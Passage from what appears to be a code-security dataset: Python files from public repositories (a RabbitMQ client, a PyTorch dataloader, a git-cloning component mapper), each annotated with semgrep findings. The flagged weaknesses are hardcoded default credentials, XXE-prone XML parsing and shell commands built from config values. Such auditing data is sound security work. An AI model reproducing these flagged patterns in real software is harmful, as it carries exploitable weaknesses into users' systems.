"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected possible formatted SQL query. Use parameterized queries instead.",
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa... | [
5,
7.5,
5,
7.5,
5,
7.5,
5,
7.5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | columngroup.py | /site/Harvard-Reunion/scripts/harris_import/csvcolumns/columngroup.py | Socialinsect/Harvard-Reunion-Mobile-Web | Apache-2.0,MIT | |
2024-11-18T19:07:46.085507+00:00 | 1,620,038,827,000 | 6f8d7abe4c2ae99a08939e5bbec2353608597dfa | 3 | {
"blob_id": "6f8d7abe4c2ae99a08939e5bbec2353608597dfa",
"branch_name": "refs/heads/main",
"committer_date": 1620038827000,
"content_id": "a1f4e2b1cb5e8fe4475aa4d782fe2fd494646ba2",
"detected_licenses": [
"MIT"
],
"directory_id": "d6af3401235a27069978056f01a8db78f485493c",
"extension": "py",
"filename": "queueclient.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 362806306,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6555,
"license": "MIT",
"license_type": "permissive",
"path": "/pvsimulator/queueclient.py",
"provenance": "stack-edu-0054.json.gz:579390",
"repo_name": "nicohirsau/pv_simulator",
"revision_date": 1620038827000,
"revision_id": "28f8605e58dddb0c2f612f8c5c751587841b2099",
"snapshot_id": "d1a595fb88f49868ddd0245913c00e2e7b590669",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/nicohirsau/pv_simulator/28f8605e58dddb0c2f612f8c5c751587841b2099/pvsimulator/queueclient.py",
"visit_date": "2023-04-18T00:17:18.496673"
} | 3.015625 | stackv2 | import amqpstorm
import threading
import time
from pvsimulator.exceptions import *
class QueueClient(object):
"""
The QueueClient represents a Client, which connects to a single RabbitMQ queue.
It can be used to publish and/or consume messages on this queue.
"""
def __init__(
self,
host = 'localhost',
username = 'guest',
password = 'guest',
queue_name = 'queue',
consuming_timeout = 0.25
):
"""
Params:
host: The hostname of the RabbitMQ instance.
username: The username, which will be used to login to the RabbitMQ instance.
password: The password for the user.
queue_name: The name of the queue, this Client will be connected to.
"""
self._host = host
self._queue_name = queue_name
self._username = username
self._password = password
self.connected = False
self._consuming = False
self._should_consume = False
self._consumer_thread = None
self._consuming_timeout = consuming_timeout
def connect(self):
"""
Try to connect the client to its queue.
Raises:
PVConnectionError if the connection to the RabbitMQ instance failed.
PVQueueConnectionError if the connection to the designated queue failed.
"""
try:
self._connection = amqpstorm.Connection(
self._host,
self._username,
self._password
)
except amqpstorm.AMQPConnectionError as e:
print(e)
raise PVConnectionError(
"Could not connect to RabbitMQ Service"
)
try:
self._channel = self._connection.channel()
self._channel.queue.declare(
self._queue_name
)
except amqpstorm.AMQPConnectionError as e:
print(e)
raise PVQueueConnectionError(
"Could not connect to Queue: ", self._queue_name
)
self.connected = True
def publish_message(self, message_body):
"""
Publish a message to the queue.
Param:
message_body: The message, that should be published as plain text.
Raises:
PVNotConnectedError if the Client is not connected properly.
PVMessagePublishingError if the message could not be published.
"""
if not self.connected:
raise PVNotConnectedError(
"Cannot publish message! Client is not connected!"
)
message = amqpstorm.Message.create(
self._channel,
message_body,
properties = {
'content_type': 'text/plain'
}
)
try:
message.publish(self._queue_name)
except amqpstorm.exception.AMQPInvalidArgument as e:
print(e)
raise PVMessagePublishingError(
"Could not publish message: '", message_body, "'!"
)
def purge_queue(self):
"""
Delete all published messages in the queue.
Raises:
PVNotConnectedError if the Client is not connected properly.
"""
if not self.connected:
raise PVNotConnectedError(
"The client is not properly connected to the RabbitMQ service!"
)
self._channel.queue.purge(self._queue_name)
def start_consuming_blocking(self):
"""
Start to consume messages while blocking the thread doing it.
Raises:
PVNotConnectedError if the Client is not connected properly.
"""
if not self.connected:
raise PVNotConnectedError(
"The client is not properly connected to the RabbitMQ service!"
)
self._should_consume = True
self._consume()
def start_consuming_async(self):
"""
Start to consume messages using a seperate worker thread.
Raises:
PVNotConnectedError if the Client is not connected properly.
PVQueueClientAlreadyConsumingError if the Client is already consuming.
"""
if not self.connected:
raise PVNotConnectedError(
"The client is not properly connected to the RabbitMQ service!"
)
if self._consuming:
raise PVQueueClientAlreadyConsumingError(
"Client is already consuming!"
)
if not self._consumer_thread:
self._consumer_thread = threading.Thread(
target = self._consume
)
self._should_consume = True
self._consumer_thread.start()
def stop_consuming(self):
"""
Stops the consumption of messages.
Raises:
PVQueueClientNotConsumingError if the Client is not consuming.
"""
if not self._consuming:
raise PVQueueClientNotConsumingError(
"Client is not consuming!"
)
return False
self._should_consume = False
if self._consumer_thread:
if self._consumer_thread.is_alive:
self._consumer_thread.join()
return True
def _consume(self):
"""
Internal consuming implementation.
Runs, while the value of self._should_consume is true.
"""
self._consuming = True
while self._should_consume:
result = self._channel.basic.get(
queue = self._queue_name,
no_ack = False
)
if result:
self._on_message_received_callback(
result.body
)
self._channel.basic.ack(
result.method['delivery_tag']
)
time.sleep(self._consuming_timeout)
self._consuming = False
def _on_message_received_callback(self, message_body):
"""
This method should be implemented by child-classes,
that intend to consume messages.
It gets called when a message was received.
Param:
message_body: The message, that was received. In plain text.
"""
raise NotImplementedError(
"_on_message_received_callback not implemented!"
)
| 210 | 30.21 | 89 | 15 | 1,236 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.hardcoded-password-default-argument_81bfc1e2b41cce25_c389458d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.hardcoded-password-default-argument", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Hardcoded password is used as a default argument to '__init__'. This could be dangerous if a real password is not supplied.", "remediation": "", "location": {"file_path": "unknown", "line_start": 12, "line_end": 36, "column_start": 5, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-798: Use of Hard-coded Credentials", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2021 - Identification and Authentication Failures", "references": [{"url": "https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.hardcoded-password-default-argument", "path": "/tmp/tmppq52ww6s/81bfc1e2b41cce25.py", "start": {"line": 12, "col": 5, "offset": 285}, "end": {"line": 36, "col": 52, "offset": 1137}, "extra": {"message": "Hardcoded password is used as a default argument to '__init__'. This could be dangerous if a real password is not supplied.", "metadata": {"cwe": ["CWE-798: Use of Hard-coded Credentials"], "category": "security", "technology": ["python"], "owasp": ["A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_81bfc1e2b41cce25_fb6a0229", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self._consumer_thread.is_alive() because self._consumer_thread.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 173, "line_end": 173, "column_start": 16, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmppq52ww6s/81bfc1e2b41cce25.py", "start": {"line": 173, "col": 16, "offset": 5339}, "end": {"line": 173, "col": 46, "offset": 5369}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self._consumer_thread.is_alive() because self._consumer_thread.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-798"
] | [
"rules.python.lang.security.audit.hardcoded-password-default-argument"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
12
] | [
36
] | [
5
] | [
52
] | [
"A07:2021 - Identification and Authentication Failures"
] | [
"Hardcoded password is used as a default argument to '__init__'. This could be dangerous if a real password is not supplied."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | queueclient.py | /pvsimulator/queueclient.py | nicohirsau/pv_simulator | MIT | |
2024-11-18T19:07:49.906174+00:00 | 1,593,491,447,000 | 76bd3d6432a1b2199c33a7770fd11c7d401c5c57 | 2 | {
"blob_id": "76bd3d6432a1b2199c33a7770fd11c7d401c5c57",
"branch_name": "refs/heads/master",
"committer_date": 1593491447000,
"content_id": "a8a8bfd329c0fed3dbac82915842bc5ed59838e5",
"detected_licenses": [
"MIT"
],
"directory_id": "4433ec1778783ecd386c140ec3c975d78d8989cb",
"extension": "py",
"filename": "dataloader.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 275474677,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7579,
"license": "MIT",
"license_type": "permissive",
"path": "/09_road_limit/dataloader.py",
"provenance": "stack-edu-0054.json.gz:579440",
"repo_name": "yeodongbin/2020AIChallengeCode",
"revision_date": 1593491447000,
"revision_id": "776c686b65a67bc0d71eed1118eed6cf45ea17c6",
"snapshot_id": "73454bbad182b5d165a379cca719551597d4e51a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/yeodongbin/2020AIChallengeCode/776c686b65a67bc0d71eed1118eed6cf45ea17c6/09_road_limit/dataloader.py",
"visit_date": "2022-11-10T10:36:19.388433"
} | 2.421875 | stackv2 | import os
import numpy as np
import torch
from PIL import Image
from glob import glob
import xml.etree.ElementTree as elemTree
import random
import cv2
from torchvision.transforms import functional as F
class CustomDataset(object):
def __init__(self, root, transforms):
self.root = root
self.transforms = transforms
# 모든 이미지 파일들을 읽고, 정렬하여
# 이미지와 분할 마스크 정렬을 확인합니다
#print(" root {} ".format(root))
self.imgs = list(sorted(glob(os.path.join(root, '*.jpg'))))
self.labels = elemTree.parse(glob(root + '/*.xml')[0])
#self.masks = list(sorted(os.listdir(os.path.join(root, 'MASK'))))
def __getitem__(self, idx):
# 이미지와 마스크를 읽어옵니다
img_path = self.imgs[idx]
#print(img_path)
print(img_path)
#mask_path = os.path.join(self.root, 'MASK', self.masks[idx])
img = Image.open(img_path).convert('RGB')
#print("img {}".format(img))
#img = img.resize((640, 640))
h, w = img.size
#print(" h {} w {}".format(h,w))
# 분할 마스크는 RGB로 변환하지 않음을 유의하세요
# 왜냐하면 각 색상은 다른 인스턴스에 해당하며, 0은 배경에 해당합니다
label = self.labels.findall('./image')[idx]
masks = []
boxes = []
class_names = []
class_num = {'sidewalk_blocks' : 1, 'alley_damaged' : 2, 'sidewalk_damaged' : 3, 'caution_zone_manhole': 4, 'braille_guide_blocks_damaged':5,\
'alley_speed_bump':6,'roadway_crosswalk':7,'sidewalk_urethane':8, 'caution_zone_repair_zone':9, 'sidewalk_asphalt':10, 'sidewalk_other':11,\
'alley_crosswalk':12,'caution_zone_tree_zone':13, 'caution_zone_grating':14, 'roadway_normal':15, 'bike_lane':16, 'caution_zone_stairs':17,\
'alley_normal':18, 'sidewalk_cement':19,'braille_guide_blocks_normal':20, 'sidewalk_soil_stone': 21}
for polygon_info in label.findall('./polygon') :
class_name,x1,y1,x2,y2 = None, None, None, None, None
class_name,points = polygon_info.attrib['label'], polygon_info.attrib['points']
points = points.split(';')
pos = []
for p in points:
x , y = p.split(',')
pos.append([int(float(x)), int(float(y))])
temp = []
pos = np.array(pos)
#print(pos.shape)
if class_name != 'bike_lane' :
if len(polygon_info.findall('attribute')) == 0:
continue#print(polygon_info.findall('attribute')[0].text)
class_name += '_'+polygon_info.findall('attribute')[0].text
x1 = np.min(pos[:, 0])
y1 = np.min(pos[:, 1])
x2 = np.max(pos[:, 0])
y2 = np.max([pos[:, 1]])
boxes.append([x1,y1,x2,y2])
class_names.append(class_num[class_name])
canvas = np.zeros((w, h), np.uint8)
cv2.fillPoly(canvas, [pos], (255))
mask = canvas == 255
masks.append(mask)
# 모든 것을 torch.Tensor 타입으로 변환합니다
#print(len(masks), len(class_names))
boxes = torch.as_tensor(boxes, dtype=torch.float32)
# 객체 종류는 한 종류만 존재합니다(역자주: 예제에서는 사람만이 대상입니다) NO!!
class_names = torch.as_tensor(class_names, dtype=torch.int64)
masks = torch.as_tensor(masks, dtype=torch.uint8)
image_id = torch.tensor([idx])
#area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])
# 모든 인스턴스는 군중(crowd) 상태가 아님을 가정합니다
# iscrowd = torch.zeros((len(class_names),), dtype=torch.int64)
# area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])
target = {}
target["boxes"] = boxes
target["labels"] = class_names
target["masks"] = masks
target["image_id"] = image_id
# target["area"] = area
# target["iscrowd"] = iscrowd
if self.transforms is not None:
img, target = self.transforms(img, target)
return img, target
def __len__(self):
return len(self.imgs)
class Testloader(object):
def __init__(self, root, transforms):
self.root = root
print(root)
self.transforms = transforms
# 모든 이미지 파일들을 읽고, 정렬하여
# 이미지와 분할 마스크 정렬을 확인합니다
#self.imgs = list(sorted(glob(os.path.join(root, '*.jpg'))))
self.imgs = list(sorted(glob(os.path.join(root, '*.jpg'))))
def __getitem__(self, idx):
# 이미지와 마스크를 읽어옵니다
img_path = self.imgs[idx]
#print(img_path)
img_name = img_path.split('/')[-1].split('.')[0]
img = Image.open(img_path).convert('RGB')
h, w = img.size
target = {}
target["image_id"] = img_name
if self.transforms is not None:
img, target = self.transforms(img, target)
return img, target
def __len__(self):
return len(self.imgs)
class Compose(object):
def __init__(self, transforms):
self.transforms = transforms
def __call__(self, image, target):
for t in self.transforms:
image, target = t(image, target)
return image, target
class RandomHorizontalFlip(object):
def __init__(self, prob):
self.prob = prob
def __call__(self, image, target):
if random.random() < self.prob:
height, width = image.shape[-2:]
image = image.flip(-1)
bbox = target["boxes"]
bbox[:, [0, 2]] = width - bbox[:, [2, 0]]
target["boxes"] = bbox
if "masks" in target:
target["masks"] = target["masks"].flip(-1)
return image, target
class ToTensor(object):
def __call__(self, image, target):
image = F.to_tensor(image)
return image, target
def get_transform(train):
transforms = []
transforms.append(T.ToTensor())
if train:
# (역자주: 학습시 50% 확률로 학습 영상을 좌우 반전 변환합니다)
transforms.append(T.RandomHorizontalFlip(0.3))
return T.Compose(transforms)
def collate_fn(batch):
return tuple(zip(*batch))
def get_transform(train):
transforms = []
transforms.append(ToTensor())
if train:
# (역자주: 학습시 50% 확률로 학습 영상을 좌우 반전 변환합니다)
transforms.append(RandomHorizontalFlip(0.5))
return Compose(transforms)
def collate_fn(batch):
return tuple(zip(*batch))
def make_dataset(root):
folder_list = glob(root+'/*')
dataset = CustomDataset(folder_list[0], get_transform(train=False))
for fpath in folder_list[1:]:
dataset_test = CustomDataset(fpath, get_transform(train=False))
dataset = torch.utils.data.ConcatDataset([dataset, dataset_test])
return dataset
def make_testset(root):
folder_list = glob(root+'/*')
dataset = Testloader(folder_list[0], get_transform(train=False))
for fpath in folder_list[1:]:
dataset_test = Testloader(fpath, get_transform(train=False))
dataset = torch.utils.data.ConcatDataset([dataset, dataset_test])
return dataset
| 201 | 34.25 | 160 | 18 | 1,894 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_5acb2bf559deb2aa_d7e40f7d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 6, "line_end": 6, "column_start": 1, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/5acb2bf559deb2aa.py", "start": {"line": 6, "col": 1, "offset": 86}, "end": {"line": 6, "col": 41, "offset": 126}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_5acb2bf559deb2aa_19cdf216", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(glob(root + '/*.xml')[0])", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 23, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmppq52ww6s/5acb2bf559deb2aa.py", "start": {"line": 19, "col": 23, "offset": 596}, "end": {"line": 19, "col": 63, "offset": 636}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(glob(root + '/*.xml')[0])", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
6,
19
] | [
6,
19
] | [
1,
23
] | [
41,
63
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | dataloader.py | /09_road_limit/dataloader.py | yeodongbin/2020AIChallengeCode | MIT | |
2024-11-18T19:07:53.794818+00:00 | 1,629,871,889,000 | 41dd1acb83408f61fe3f3e2a19b40044f75a97e3 | 3 | {
"blob_id": "41dd1acb83408f61fe3f3e2a19b40044f75a97e3",
"branch_name": "refs/heads/main",
"committer_date": 1635149121000,
"content_id": "457318d29334a459aa9bbb473ed7fc669678c38f",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "b41c39dfbd11ad00cb4cdc67e6dde77e7d924c07",
"extension": "py",
"filename": "component.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4431,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/component.py",
"provenance": "stack-edu-0054.json.gz:579483",
"repo_name": "isabella232/crash-similarity-inspector",
"revision_date": 1629871889000,
"revision_id": "42383ccb5f42a16ed012d19116bfbb3975e1646a",
"snapshot_id": "f7abe1d25924b83868d5cc5a85a37a75d6369034",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/isabella232/crash-similarity-inspector/42383ccb5f42a16ed012d19116bfbb3975e1646a/src/component.py",
"visit_date": "2023-08-29T12:24:48.114254"
} | 2.71875 | stackv2 | import configparser
import glob
import os
import re
import subprocess
from collections import deque
from pool import MongoConnection
class Component:
"""
Obtain Component-File mapping based on the layered CMakeLists.txt.
"""
config = configparser.ConfigParser()
config_path = os.path.join(os.getcwd(), "config.ini")
config.read(config_path)
# MongoDB
host = config.get("mongodb", "host")
port = config.getint("mongodb", "port")
# Git
git_url = config.get("git", "url")
@staticmethod
def find_component(path):
"""
Obtain parent/child components from a CMakeLists.txt path.
Args:
path: A CMakeLists.txt path.
Returns:
Parent and its children.
"""
with open(path, "r", encoding="utf-8") as fp:
content = fp.read()
p_pattern = re.compile(r'SET_COMPONENT\("(.+)"\)', re.M)
c_pattern = re.compile(r'SET_COMPONENT\("(.+)"\n([^)]+)\)', re.M)
parent = p_pattern.findall(content)
children = c_pattern.findall(content)
return parent + children
@staticmethod
def convert_path(components, prefix):
"""
Obtain the file path for corresponding component.
Args:
components: Parent component or child component list.
prefix: The current prefix of CMakeLists.txt.
Returns:
Component-File mapping.
"""
ret = dict()
for cpnt in components:
# child component
if isinstance(cpnt, tuple):
for suffix in [i.strip() for i in cpnt[1].split("\n") if i.strip()]:
for wild in glob.iglob(f"{prefix}/{suffix}"):
ret[wild] = cpnt[0]
continue
# parent component
if isinstance(cpnt, str):
ret[prefix] = cpnt
return ret
def update_component(self):
"""
Obtain Component-File mapping based on the layered CMakeLists.txt and load into database.
"""
git_root = "hana"
# update source code base
if os.path.exists(git_root):
print(f"Removing from '{git_root}'...")
cmd = f"rm -fr {git_root}"
subprocess.call(cmd.split(" "))
print("\x1b[32mSuccessfully removed code base.\x1b[0m")
cmd = f"git clone --branch master --depth 1 {self.git_url} {git_root}"
subprocess.call(cmd.split(" "))
component_map = dict()
queue = deque([git_root])
# BFS
while queue:
prefix = queue.popleft()
cmk_path = os.path.join(prefix, "CMakeLists.txt")
if os.path.exists(cmk_path):
components = self.find_component(cmk_path)
component_map.update(self.convert_path(components, prefix))
for node in os.listdir(prefix):
item = os.path.join(prefix, node)
if os.path.isdir(item):
queue.append(item)
# insert documents
documents = []
for key in sorted(component_map.keys()):
data = dict()
data["path"] = key
data["component"] = component_map[key]
documents.append(data)
with MongoConnection(self.host, self.port) as mongo:
collection = mongo.connection["kdetector"]["component"]
collection.drop()
collection.insert_many(documents)
print(f"\x1b[32mSuccessfully updated Component-File mapping ({len(documents)}).\x1b[0m")
def best_matched(self, path):
"""
Query the component collection to obtain the best matched component.
Args:
path: A absolute path is the stack frame.
Returns:
matched: The best matched component.
"""
matched = "UNKNOWN"
with MongoConnection(self.host, self.port) as mongo:
collection = mongo.connection["kdetector"]["component"]
data = collection.find_one({"path": path})
if not data:
while "/" in path:
path = path[:path.rindex("/")]
data = collection.find_one({"path": path})
if data:
matched = data["component"]
break
else:
matched = data["component"]
return matched
| 124 | 34.73 | 97 | 19 | 921 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_ec1b20d77e231b24_6edb8da8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 13, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/ec1b20d77e231b24.py", "start": {"line": 73, "col": 13, "offset": 2268}, "end": {"line": 73, "col": 44, "offset": 2299}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_ec1b20d77e231b24_f6891499", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/ec1b20d77e231b24.py", "start": {"line": 73, "col": 24, "offset": 2279}, "end": {"line": 73, "col": 28, "offset": 2283}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_ec1b20d77e231b24_4b3af957", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 76, "line_end": 76, 